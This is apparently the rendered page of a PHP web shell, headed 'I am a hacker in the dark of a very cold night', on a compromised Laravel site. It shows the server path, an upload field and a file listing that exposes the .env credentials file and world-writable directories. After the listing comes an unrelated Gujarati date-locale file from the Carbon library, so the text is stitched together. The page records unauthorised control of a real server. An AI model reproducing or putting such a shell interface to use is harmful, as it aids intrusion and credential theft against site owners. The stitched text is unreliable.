I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
/*
* Authors:
* - Josh Soref
* - Kaushik Thanki
* - Josh Soref
*/
return [
'year' => 'એક વર્ષ|:count વર્ષ',
'y' => ':countવર્ષ|:countવર્ષો',
'month' => 'એક મહિનો|:count મહિના',
'm' => ':countમહિનો|:countમહિના',
'week' => ':count અઠવાડિયું|:count અઠવાડિયા',
'w' => ':countઅઠ.|:countઅઠ.',
'day' => 'એક દિવસ|:count દિવસ',
'd' => ':countદિ.|:countદિ.',
'hour' => 'એક કલાક|:count કલાક',
'h' => ':countક.|:countક.',
'minute' => 'એક મિનિટ|:count મિનિટ',
'min' => ':countમિ.|:countમિ.',
'second' => 'અમુક પળો|:count સેકંડ',
's' => ':countસે.|:countસે.',
'ago' => ':time પેહલા',
'from_now' => ':time મા',
'after' => ':time પછી',
'before' => ':time પહેલા',
'diff_now' => 'હમણાં',
'diff_today' => 'આજ',
'diff_yesterday' => 'ગઇકાલે',
'diff_tomorrow' => 'કાલે',
'formats' => [
'LT' => 'A h:mm વાગ્યે',
'LTS' => 'A h:mm:ss વાગ્યે',
'L' => 'DD/MM/YYYY',
'LL' => 'D MMMM YYYY',
'LLL' => 'D MMMM YYYY, A h:mm વાગ્યે',
'LLLL' => 'dddd, D MMMM YYYY, A h:mm વાગ્યે',
],
'calendar' => [
'sameDay' => '[આજ] LT',
'nextDay' => '[કાલે] LT',
'nextWeek' => 'dddd, LT',
'lastDay' => '[ગઇકાલે] LT',
'lastWeek' => '[પાછલા] dddd, LT',
'sameElse' => 'L',
],
'meridiem' => function ($hour) {
if ($hour < 4) {
return 'રાત';
}
if ($hour < 10) {
return 'સવાર';
}
if ($hour < 17) {
return 'બપોર';
}
if ($hour < 20) {
return 'સાંજ';
}
return 'રાત';
},
'months' => ['જાન્યુઆરી', 'ફેબ્રુઆરી', 'માર્ચ', 'એપ્રિલ', 'મે', 'જૂન', 'જુલાઈ', 'ઑગસ્ટ', 'સપ્ટેમ્બર', 'ઑક્ટ્બર', 'નવેમ્બર', 'ડિસેમ્બર'],
'months_short' => ['જાન્યુ.', 'ફેબ્રુ.', 'માર્ચ', 'એપ્રિ.', 'મે', 'જૂન', 'જુલા.', 'ઑગ.', 'સપ્ટે.', 'ઑક્ટ્.', 'નવે.', 'ડિસે.'],
'weekdays' => ['રવિવાર', 'સોમવાર', 'મંગળવાર', 'બુધ્વાર', 'ગુરુવાર', 'શુક્રવાર', 'શનિવાર'],
'weekdays_short' => ['રવિ', 'સોમ', 'મંગળ', 'બુધ્', 'ગુરુ', 'શુક્ર', 'શનિ'],
'weekdays_min' => ['ર', 'સો', 'મં', 'બુ', 'ગુ', 'શુ', 'શ'],
'list' => [', ', ' અને '],
'first_day_of_week' => 0,
'day_of_first_week_of_year' => 1,
'weekend' => [0, 0],
];